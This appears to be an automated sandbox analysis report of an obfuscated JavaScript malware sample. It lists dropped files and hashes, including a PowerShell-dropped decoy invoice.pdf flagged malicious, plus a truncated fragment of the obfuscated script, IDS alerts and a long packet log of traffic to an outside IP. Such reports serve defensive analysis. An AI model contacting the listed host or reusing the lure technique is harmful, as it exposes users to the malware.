SSDEEP:	24576:/vowYIGNPtbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oBGZd:4wZGfb3mlind9i4ufFXpAXkrfUs0qWLa
MD5:	587A8A92D6938FE79186BC0ECA5D8C26
SHA1:	CECB6E6FBD3DEF1F3C72D3613D776B5F98D61279
SHA-256:	AFCA3EAC14D58E6A1BB707A3328F049ED9745276FA1A00F8F9E8A693C4C87922
SHA-512:	FF37B600032616C8C04E3D30B7F8790E07023C75CDE8D22419CD0F6C16AA7911C81B82AAFAF54C934A104A928EBACF79F500334426F7B53704BEA937F1980003
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f86bf6a9-ff27-4280-8766-4424d1e0d34b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16446), with CRLF line terminators
Entropy (8bit):	4.911085297863059
TrID:
File name:	3039412363370818030.js
File size:	19'919 bytes
MD5:	9e61c32e7b7534fe9335e3013374f81b
SHA1:	4f590d3d65b47784a66dec9c99e16ba5c2cd0f36
SHA256:	c6a03206a24674367147512faa613721fd26ac337081d06301bd31993046acfc
SHA512:	3350a582bf9b8ca61c24c159e30547e9873acf4000c380af0a75d8778c68fbb3c487c6cec3c9d8c4d6161a5aad909d67abbfe576a7cf4bbe1b24c9d212632d94
SSDEEP:	384:XNylECUIGbPMXiyylECTWDruasUa/6C87C7ZvoCeI+U0YZ6d6t5vlKzDySgu3D+L:XNySCUIGbPMSyySCTWDruasUa/6C87Cp
TLSH:	2D92110C91866234ADEC5AE128F908D9A3085648C9E47B95D4B27A95EE7CB1DF1FF0F0
File Content Preview:	function rsozhpkn(){oixfy=[1031,3079,5127,4103,2055,3072];var bzsjwpjga=this[enmvlurh+fkobp+kpwcd+gidiymu+ldtkiusz+cdndy+cbrtxd+fbcaj](this[jywqympc+qmaemu+xpxjbnh+kpwcd+ypmnkty+enmvlurh+fbcaj][hyysyni+kpwcd+ldtkiusz+fkobp+fbcaj+ldtkiusz+afhkg+hdjutwnx+ue

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:23:43.863974+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-10T22:23:46.550945+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:23:43.034322977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.039275885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.039401054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.042674065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.047472954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863878012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863892078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863903046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863909960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863953114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.863974094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.864042997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.864061117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.864073992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.864087105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.864099026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.864130974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.864130974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.864151955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.868977070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.868990898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.869038105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.909692049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.909704924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.909765005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.909765959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.957181931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.989182949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989198923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989303112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.989520073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989533901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989545107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989586115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.989665031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989676952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989691019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989711046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989718914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.989723921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.989769936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.989769936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.990544081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.990556002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.990569115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.990581036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.990595102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.990618944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.990688086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.991400957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.991413116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.991426945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.991437912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.991456032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:43.991466045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:43.991522074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.001319885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.001347065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.001367092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.001414061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.001652002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.001678944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.001729012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.035218954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.035237074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.035337925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.081079006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.081096888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.081151009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.115145922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115165949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115211010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.115546942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115649939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115665913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115683079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115698099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115715027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.115717888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.115717888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.115783930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116048098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116064072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116082907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116101027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116110086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116117001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116137981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116611958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116628885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116645098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116661072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116677046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116686106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116686106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116693020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116713047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.116748095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.116748095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.117430925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117445946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117463112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117479086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117495060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117510080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117520094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.117520094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.117530107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.117583036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.118299961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118316889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118333101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118345976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.118357897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118375063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118393898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118406057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.118415117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.118458033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.118458033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.119055986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119147062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119162083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119179964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119194031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119210005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119215012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.119215012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.119226933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.119266987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.126750946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.126765966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.126782894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.126796007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.126810074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.126827002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.126873016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.126873016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.160868883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.160886049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.160996914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.206650019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.206690073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.206705093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.206721067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.206742048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.206748962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.206779957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241070986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241096973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241115093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241141081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241157055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241166115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241183996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241199017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241216898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241230965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241230965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241247892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241456985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241485119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241501093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241544962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241544962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.241628885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241671085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241687059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.241816998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242057085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242079973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242098093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242114067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242127895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242131948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242151022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242151022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242168903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242183924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242192030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242202044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242218018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242225885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242237091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242294073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242294073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242824078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242840052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242856979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242872953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242889881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242892027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242907047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242924929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242925882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242942095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242959023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242974043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.242983103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242983103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.242990017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243004084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243057966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243057966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243722916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243742943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243758917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243773937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243791103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243808031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243824959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243824959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243824959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243841887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243859053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243863106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243875980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243891954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243894100 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.243911982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.243947029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244122028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244673014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244693041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244709969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244725943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244741917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244759083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244759083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244780064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244797945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244815111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244821072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244821072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244832993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:23:44.244838953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:23:44.244851112 CET	80	49706	193.143.1.205	192.168.2.8
